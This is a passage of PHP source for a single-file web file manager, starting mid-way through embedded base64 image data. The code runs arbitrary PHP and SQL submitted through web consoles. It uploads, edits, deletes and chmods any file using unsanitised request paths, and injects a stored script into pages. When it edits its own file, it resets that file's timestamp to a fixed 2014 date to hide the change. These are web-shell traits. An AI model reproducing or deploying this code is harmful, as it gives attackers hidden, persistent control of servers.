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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
